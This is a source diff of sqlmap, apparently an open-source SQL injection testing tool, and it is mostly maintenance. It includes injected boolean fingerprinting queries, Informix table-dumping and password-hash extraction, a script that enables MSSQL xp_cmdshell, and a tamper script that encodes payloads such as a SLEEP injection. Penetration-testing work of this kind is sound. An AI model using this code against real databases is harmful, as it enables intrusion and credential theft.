if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None:
hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and "MariaDB" or "")
# reading information_schema on some platforms is causing annoying timeout exits
# Reference: http://bugs.mysql.com/bug.php?id=15855
+2 -1
View File
@@ -102,7 +102,8 @@ class Fingerprint(GenericFingerprint):
infoMsg = "actively fingerprinting %s" % DBMS.ORACLE
logger.info(infoMsg)
for version in ("11i", "10g", "9i", "8i"):
# Reference: https://en.wikipedia.org/wiki/Oracle_Database
for version in ("12c", "11g", "10g", "9i", "8i"):
number = int(re.search("([\d]+)", version).group(1))
output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))
+10 -2
View File
@@ -97,8 +97,16 @@ class Fingerprint(GenericFingerprint):
infoMsg = "actively fingerprinting %s" % DBMS.PGSQL
logger.info(infoMsg)
if inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"):
Backend.setVersion(">= 9.1.0")
if inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"):
Backend.setVersion(">= 9.5.0")
elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"):
Backend.setVersionList([">= 9.4.0", "< 9.5.0"])
elif inject.checkBooleanExpression("ARRAY_REPLACE(NULL,1,1) IS NULL"):
Backend.setVersionList([">= 9.3.0", "< 9.4.0"])
elif inject.checkBooleanExpression("ROW_TO_JSON(NULL) IS NULL"):
Backend.setVersionList([">= 9.2.0", "< 9.3.0"])
elif inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"):
Backend.setVersionList([">= 9.1.0", "< 9.2.0"])
elif inject.checkBooleanExpression("LENGTH(TO_CHAR(1,'EEEE'))>0"):
Backend.setVersionList([">= 9.0.0", "< 9.1.0"])
elif inject.checkBooleanExpression("2=(SELECT DIV(6,3))"):
+2 -2
View File
@@ -41,7 +41,7 @@ class Connector(GenericConnector):
try:
self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout)
except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg:
except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
raise SqlmapConnectionException(msg)
self.initCursor()
@@ -50,7 +50,7 @@ class Connector(GenericConnector):
def fetchall(self):
try:
return self.cursor.fetchall()
except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg:
except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " "))
return None
+52 -5
View File
@@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission
from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import Backend
from lib.core.common import extractRegexResult
from lib.core.common import filterPairValues
from lib.core.common import flattenValue
from lib.core.common import getLimitRange
@@ -19,6 +20,7 @@ from lib.core.common import isTechniqueAvailable
from lib.core.common import parseSqliteTableSchema
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import singleTimeWarnMessage
@@ -30,6 +32,7 @@ from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
from lib.core.dicts import FIREBIRD_TYPES
from lib.core.dicts import INFORMIX_TYPES
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
@@ -41,6 +44,7 @@ from lib.core.settings import CURRENT_DB
from lib.request import inject
from lib.techniques.brute.use import columnExists
from lib.techniques.brute.use import tableExists
from lib.techniques.union.use import unionUse
class Databases:
"""
@@ -332,7 +336,7 @@ class Databases:
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.blind.query % index
elif Backend.isDbms(DBMS.HSQLDB):
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX):
query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db))
else:
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)
@@ -450,7 +454,7 @@ class Databases:
elif Backend.isDbms(DBMS.ACCESS):
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access"
errMsg += "back-end DBMS is %s" % DBMS.ACCESS
logger.error(errMsg)
bruteForce = True
@@ -539,7 +543,22 @@ class Databases:
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
values = inject.getValue(query, blind=False, time=False)
values = None
if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
expression = query
kb.dumpColumns = []
kb.rowXmlMode = True
for column in extractRegexResult(r"SELECT (?P<result>.+?) FROM", query).split(','):
kb.dumpColumns.append(randomStr().lower())
expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1)
values = unionUse(expression)
kb.rowXmlMode = False
kb.dumpColumns = None
if values is None:
values = inject.getValue(query, blind=False, time=False)
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
index, values = 1, []
@@ -585,8 +604,17 @@ class Databases:
if len(columnData) == 1:
columns[name] = None
else:
key = int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1]
if Backend.isDbms(DBMS.FIREBIRD):
columnData[1] = FIREBIRD_TYPES.get(int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1], columnData[1])
columnData[1] = FIREBIRD_TYPES.get(key, columnData[1])
elif Backend.isDbms(DBMS.INFORMIX):
notNull = False
if isinstance(key, int) and key > 255:
key -= 256
notNull = True
columnData[1] = INFORMIX_TYPES.get(key, columnData[1])
if notNull:
columnData[1] = "%s NOT NULL" % columnData[1]
columns[name] = columnData[1]
@@ -638,6 +666,10 @@ class Databases:
query = rootQuery.blind.count % (tbl)
query += condQuery
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, tbl)
query += condQuery
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % tbl
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
@@ -694,6 +726,10 @@ class Databases:
query = rootQuery.blind.query % (tbl)
query += condQuery
field = None
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, tbl)
query += condQuery
field = condition
query = agent.limitQuery(index, query, field, field)
column = unArrayizeValue(inject.getValue(query, union=False, error=False))
@@ -726,11 +762,22 @@ class Databases:
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (tbl, column)
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, tbl, column)
colType = unArrayizeValue(inject.getValue(query, union=False, error=False))
key = int(colType) if isinstance(colType, basestring) and colType.isdigit() else colType
if Backend.isDbms(DBMS.FIREBIRD):
colType = FIREBIRD_TYPES.get(colType, colType)
colType = FIREBIRD_TYPES.get(key, colType)
elif Backend.isDbms(DBMS.INFORMIX):
notNull = False
if isinstance(key, int) and key > 255:
key -= 256
notNull = True
colType = INFORMIX_TYPES.get(key, colType)
if notNull:
colType = "%s NOT NULL" % colType
column = safeSQLIdentificatorNaming(column)
columns[column] = colType
+17 -12
View File
@@ -19,9 +19,7 @@ from lib.core.common import isListLike
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import popValue
from lib.core.common import prioritySortColumns
from lib.core.common import pushValue
from lib.core.common import readInput
from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import unArrayizeValue
@@ -112,7 +110,10 @@ class Entries:
kb.data.cachedColumns = foundData
try:
kb.dumpTable = "%s.%s" % (conf.db, tbl)
if Backend.isDbms(DBMS.INFORMIX):
kb.dumpTable = "%s:%s" % (conf.db, tbl)
else:
kb.dumpTable = "%s.%s" % (conf.db, tbl)
if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
or safeSQLIdentificatorNaming(tbl, True) not in \
@@ -139,6 +140,7 @@ class Entries:
logger.warn(warnMsg)
continue
kb.dumpColumns = colList
colNames = colString = ", ".join(column for column in colList)
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
@@ -214,8 +216,7 @@ class Entries:
else:
colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''
_ = len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))
maxLen = max(len(column), _)
maxLen = max(len(column), len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))
if maxLen > kb.data.dumpedTable[column]["length"]:
kb.data.dumpedTable[column]["length"] = maxLen
@@ -238,6 +239,8 @@ class Entries:
query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
elif Backend.isDbms(DBMS.MAXDB):
query = rootQuery.blind.count % tbl
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.count % (conf.db, tbl)
else:
query = rootQuery.blind.count % (conf.db, tbl)
@@ -294,8 +297,11 @@ class Entries:
indexRange = getLimitRange(count, plusOne=plusOne)
if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
debugMsg = "checking for empty columns"
logger.debug(infoMsg)
for column in colList:
if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), union=False, error=False) == '0':
if not inject.checkBooleanExpression("(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)):
emptyColumns.append(column)
debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable)
debugMsg += "dumped as it appears to be empty"
@@ -315,22 +321,20 @@ class Entries:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column),
tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())),
index)
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
query = whereQuery(query)
value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
value = '' if value is None else value
_ = DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))
lengths[column] = max(lengths[column], len(_))
lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
entries[column].append(value)
except KeyboardInterrupt:
@@ -371,6 +375,7 @@ class Entries:
logger.critical(errMsg)
finally:
kb.dumpColumns = None
kb.dumpTable = None
def dumpAll(self):
+3 -2
View File
@@ -28,6 +28,7 @@ from lib.core.enums import CHARSET_TYPE
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapUndefinedMethod
from lib.core.settings import UNICODE_ENCODING
from lib.request import inject
class Filesystem:
@@ -69,7 +70,7 @@ class Filesystem:
if isNumPosStrValue(remoteFileSize):
remoteFileSize = long(remoteFileSize)
localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding())
localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
sameFile = False
if localFileSize == remoteFileSize:
@@ -87,7 +88,7 @@ class Filesystem:
else:
sameFile = False
warnMsg = "it looks like the file has not been written (usually "
warnMsg += "occurs if the DBMS process' user has no write "
warnMsg += "occurs if the DBMS process user has no write "
warnMsg += "privileges in the destination path)"
logger.warn(warnMsg)
+52 -36
View File
@@ -27,10 +27,11 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.dicts import DB2_PRIVS
from lib.core.dicts import FIREBIRD_PRIVS
from lib.core.dicts import INFORMIX_PRIVS
from lib.core.dicts import MYSQL_PRIVS
from lib.core.dicts import PGSQL_PRIVS
from lib.core.dicts import FIREBIRD_PRIVS
from lib.core.dicts import DB2_PRIVS
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
@@ -251,22 +252,25 @@ class Users:
if user in retrievedUsers:
continue
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.count2 % user
if Backend.isDbms(DBMS.INFORMIX):
count = 1
else:
query = rootQuery.blind.count % user
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
@@ -282,11 +286,14 @@ class Users:
query = rootQuery.blind.query2 % (user, index, user)
else:
query = rootQuery.blind.query % (user, index, user)
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (user,)
else:
query = rootQuery.blind.query % (user, index)
password = unArrayizeValue(inject.getValue(query, union=False, error=False))
password = parsePasswordHash(password)
passwords.append(password)
if passwords:
@@ -470,32 +477,35 @@ class Users:
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
user = "%%%s%%" % user
infoMsg = "fetching number of privileges "
infoMsg += "for user '%s'" % outuser
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2 % user
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query = rootQuery.blind.count % (conditionChar, user)
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.blind.count2 % user
if Backend.isDbms(DBMS.INFORMIX):
count = 1
else:
query = rootQuery.blind.count % user
infoMsg = "fetching number of privileges "
infoMsg += "for user '%s'" % outuser
logger.info(infoMsg)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2 % user
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query = rootQuery.blind.count % (conditionChar, user)
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
if not isNumPosStrValue(count):
if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
return self.getPrivileges(query2=True)
if not isNumPosStrValue(count):
if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
warnMsg = "unable to retrieve the number of "
warnMsg += "privileges for user '%s'" % outuser
logger.warn(warnMsg)
continue
return self.getPrivileges(query2=True)
warnMsg = "unable to retrieve the number of "
warnMsg += "privileges for user '%s'" % outuser
logger.warn(warnMsg)
continue
infoMsg = "fetching privileges for user '%s'" % outuser
logger.info(infoMsg)
@@ -514,6 +524,8 @@ class Users:
query = rootQuery.blind.query2 % (user, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, user)
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (user,)
else:
query = rootQuery.blind.query % (user, index)
@@ -561,6 +573,10 @@ class Users:
elif Backend.isDbms(DBMS.FIREBIRD):
privileges.add(FIREBIRD_PRIVS[privilege.strip()])
# In Informix we get one letter for the highest privilege
elif Backend.isDbms(DBMS.INFORMIX):
privileges.add(INFORMIX_PRIVS[privilege.strip()])
# In DB2 we get Y or G if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.DB2):
+1 -1
View File
@@ -2,5 +2,5 @@ EXEC master..sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'xp_cmdshell',%ENABLE%;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options',0;
EXEC master..sp_configure 'show advanced options',0;
RECONFIGURE WITH OVERRIDE
+14 -8
View File
@@ -124,7 +124,7 @@ tor = False
# Set Tor proxy type.
# Valid: HTTP, SOCKS4, SOCKS5
torType = HTTP
torType = SOCKS5
# Check to see if Tor is used properly.
# Valid: True or False
@@ -482,6 +482,9 @@ col =
# Back-end database management system database table column(s) to not enumerate.
excludeCol =
# Pivot column name.
pivotColumn =
# Use WHERE condition while table dumping (e.g. "id=1").
dumpWhere =
@@ -650,6 +653,9 @@ trafficFile =
# Valid: True or False
batch = False
# Result fields having binary values (e.g. "digest").
binaryFields =
# Force character encoding used for data retrieval.
charset =
@@ -697,9 +703,6 @@ outputDir =
# Valid: True or False
parseErrors = False
# Pivot column name.
pivotColumn =
# Regular expression for filtering targets from provided Burp.
# or WebScarab proxy log.
# Example: (google|yahoo)
@@ -753,10 +756,6 @@ googlePage = 1
# Valid: True or False
identifyWaf = False
# Skip heuristic detection of WAF/IPS/IDS protection.
# Valid: True or False
skipWaf = False
# Imitate smartphone through HTTP User-Agent header.
# Valid: True or False
mobile = False
@@ -769,10 +768,17 @@ offline = False
# Valid: True or False
pageRank = False
# Skip heuristic detection of WAF/IPS/IDS protection.
# Valid: True or False
skipWaf = False
# Conduct thorough tests only if positive heuristic(s).
# Valid: True or False
smart = False
# Local directory for storing temporary files.
tmpDir =
# Simple wizard interface for beginner users.
# Valid: True or False
wizard = False
+136 -45
View File
@@ -12,6 +12,8 @@ sys.dont_write_bytecode = True
from lib.utils import versioncheck # this has to be the first non-standard import
import bdb
import distutils
import glob
import inspect
import logging
import os
@@ -19,6 +21,7 @@ import re
import shutil
import sys
import thread
import threading
import time
import traceback
import warnings
@@ -26,34 +29,45 @@ import warnings
warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
warnings.filterwarnings(action="ignore", category=DeprecationWarning)
from lib.controller.controller import start
from lib.core.common import banner
from lib.core.common import createGithubIssue
from lib.core.common import dataToStdout
from lib.core.common import getSafeExString
from lib.core.common import getUnicode
from lib.core.common import maskSensitiveData
from lib.core.common import setPaths
from lib.core.common import weAreFrozen
from lib.core.data import cmdLineOptions
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.common import unhandledExceptionMessage
from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapShellQuitException
from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapUserQuitException
from lib.core.option import initOptions
from lib.core.option import init
from lib.core.profiling import profile
from lib.core.settings import LEGAL_DISCLAIMER
from lib.core.testing import smokeTest
from lib.core.testing import liveTest
from lib.parse.cmdline import cmdLineParser
from lib.utils.api import setRestAPILog
from lib.utils.api import StdDbOut
try:
from lib.controller.controller import start
from lib.core.common import banner
from lib.core.common import checkIntegrity
from lib.core.common import createGithubIssue
from lib.core.common import dataToStdout
from lib.core.common import getSafeExString
from lib.core.common import getUnicode
from lib.core.common import maskSensitiveData
from lib.core.common import setPaths
from lib.core.common import weAreFrozen
from lib.core.data import cmdLineOptions
from lib.core.data import conf
from lib.core.data import kb
from lib.core.common import unhandledExceptionMessage
from lib.core.common import MKSTEMP_PREFIX
from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapShellQuitException
from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapUserQuitException
from lib.core.option import initOptions
from lib.core.option import init
from lib.core.profiling import profile
from lib.core.settings import GIT_PAGE
from lib.core.settings import IS_WIN
from lib.core.settings import LEGAL_DISCLAIMER
from lib.core.settings import THREAD_FINALIZATION_TIMEOUT
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import VERSION
from lib.core.testing import smokeTest
from lib.core.testing import liveTest
from lib.parse.cmdline import cmdLineParser
except KeyboardInterrupt:
errMsg = "user aborted"
logger.error(errMsg)
raise SystemExit
def modulePath():
"""
@@ -66,7 +80,33 @@ def modulePath():
except NameError:
_ = inspect.getsourcefile(modulePath)
return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding())
return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
def checkEnvironment():
try:
os.path.isdir(modulePath())
except UnicodeEncodeError:
errMsg = "your system does not properly handle non-ASCII paths. "
errMsg += "Please move the sqlmap's directory to the other location"
logger.critical(errMsg)
raise SystemExit
if distutils.version.LooseVersion(VERSION) < distutils.version.LooseVersion("1.0"):
errMsg = "your runtime environment (e.g. PYTHONPATH) is "
errMsg += "broken. Please make sure that you are not running "
errMsg += "newer versions of sqlmap with runtime scripts for older "
errMsg += "versions"
logger.critical(errMsg)
raise SystemExit
# Patch for pip (import) environment
if "sqlmap.sqlmap" in sys.modules:
for _ in ("cmdLineOptions", "conf", "kb"):
globals()[_] = getattr(sys.modules["lib.core.data"], _)
for _ in ("SqlmapBaseException", "SqlmapShellQuitException", "SqlmapSilentQuitException", "SqlmapUserQuitException"):
globals()[_] = getattr(sys.modules["lib.core.exception"], _)
def main():
"""
@@ -74,17 +114,9 @@ def main():
"""
try:
paths.SQLMAP_ROOT_PATH = modulePath()
checkEnvironment()
try:
os.path.isdir(paths.SQLMAP_ROOT_PATH)
except UnicodeEncodeError:
errMsg = "your system does not properly handle non-ASCII paths. "
errMsg += "Please move the sqlmap's directory to the other location"
logger.error(errMsg)
raise SystemExit
setPaths()
setPaths(modulePath())
banner()
# Store original command line options for possible later restoration
@@ -92,6 +124,10 @@ def main():
initOptions(cmdLineOptions)
if hasattr(conf, "api"):
# heavy imports
from lib.utils.api import StdDbOut
from lib.utils.api import setRestAPILog
# Overwrite system standard output and standard error to write
# to an IPC database
sys.stdout = StdDbOut(conf.taskid, messagetype="stdout")
@@ -169,16 +205,55 @@ def main():
excMsg = traceback.format_exc()
try:
if any(_ in excMsg for _ in ("No space left", "Disk quota exceeded")):
if not checkIntegrity():
errMsg = "code integrity check failed (turning off automatic issue creation). "
errMsg += "You should retrieve the latest development version from official GitHub "
errMsg += "repository at '%s'" % GIT_PAGE
logger.critical(errMsg)
print
dataToStdout(excMsg)
raise SystemExit
elif "MemoryError" in excMsg:
errMsg = "memory exhaustion detected"
logger.error(errMsg)
raise SystemExit
elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded")):
errMsg = "no space left on output device"
logger.error(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in ("No such file", "_'", "self.get_prog_name()")):
errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1]
errMsg += "You should retrieve the latest development version from official GitHub "
errMsg += "repository at '%s'" % GIT_PAGE
logger.error(errMsg)
raise SystemExit
elif "Read-only file system" in excMsg:
errMsg = "output device is mounted as read-only"
logger.error(errMsg)
raise SystemExit
elif "OperationalError: disk I/O error" in excMsg:
errMsg = "I/O error on output device"
logger.error(errMsg)
raise SystemExit
elif "_mkstemp_inner" in excMsg:
errMsg = "there has been a problem while accessing temporary files"
logger.error(errMsg)
raise SystemExit
elif "can't start new thread" in excMsg:
errMsg = "there has been a problem while creating new thread instance. "
errMsg += "Please make sure that you are not running too many processes"
if not IS_WIN:
errMsg += " (or increase the 'ulimit -u' value)"
logger.error(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in ("pymysql", "configparser")):
errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)"
logger.error(errMsg)
@@ -217,13 +292,21 @@ def main():
finally:
kb.threadContinue = False
kb.threadException = True
if conf.get("showTime"):
dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True)
kb.threadException = True
if kb.get("tempDir"):
shutil.rmtree(kb.tempDir, ignore_errors=True)
for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
for filepath in glob.glob(os.path.join(kb.tempDir, "%s*" % prefix)):
try:
os.remove(filepath)
except OSError:
pass
if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
shutil.rmtree(kb.tempDir, ignore_errors=True)
if conf.get("hashDB"):
try:
@@ -239,16 +322,24 @@ def main():
if hasattr(conf, "api"):
try:
conf.database_cursor.disconnect()
conf.databaseCursor.disconnect()
except KeyboardInterrupt:
pass
if conf.get("dumper"):
conf.dumper.flush()
# Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
if conf.get("threads", 0) > 1 or conf.get("dnsServer"):
os._exit(0)
# short delay for thread finalization
try:
_ = time.time()
while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
time.sleep(0.01)
except KeyboardInterrupt:
pass
finally:
# Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
if threading.activeCount() > 1:
os._exit(0)
if __name__ == "__main__":
main()
+2 -4
View File
@@ -15,7 +15,6 @@ from lib.utils import versioncheck # this has to be the first non-standard impo
from sqlmap import modulePath
from lib.core.common import setPaths
from lib.core.data import paths
from lib.core.data import logger
from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
@@ -31,9 +30,8 @@ def main():
# Set default logging level to debug
logger.setLevel(logging.DEBUG)
# Initialize path variable
paths.SQLMAP_ROOT_PATH = modulePath()
setPaths()
# Initialize paths
setPaths(modulePath())
# Parse command line options
apiparser = optparse.OptionParser()
+25
View File
@@ -0,0 +1,25 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
HTML encode (using code points) all non-alphanumeric characters
>>> tamper("1' AND SLEEP(5)#")
'1&#39;&#32;AND&#32;SLEEP&#40;5&#41;&#35;'
"""
return re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload
+1 -1
View File
@@ -95,7 +95,7 @@ try:
return (args, varargs, keywords, tuple(defaults) or None)
except ImportError:
from inspect import getargspec
try:
from simplejson import dumps as json_dumps, loads as json_lds
except ImportError: # pragma: no cover
+1 -1
View File
@@ -1142,7 +1142,7 @@ def _ParseFileEx(file, base_uri,
try:
form.fixup()
except AttributeError, ex:
if "item is disabled" not in str(ex):
if not any(_ in str(ex) for _ in ("is disabled", "is readonly")):
raise
return forms
+348 -175
View File
@@ -1,30 +1,40 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# Copyright 2002-2003 Michael D. Stenner
#
# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the
# Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330,
# Boston, MA 02111-1307 USA
# This file was part of urlgrabber, a high-level cross-protocol url-grabber
# Copyright 2002-2004 Michael D. Stenner, Ryan Tomayko
# Copyright 2015 Sergio Fernández
"""An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive.
import urllib2
from keepalive import HTTPHandler
keepalive_handler = HTTPHandler()
opener = urllib2.build_opener(keepalive_handler)
urllib2.install_opener(opener)
>>> import urllib2
>>> from keepalive import HTTPHandler
>>> keepalive_handler = HTTPHandler()
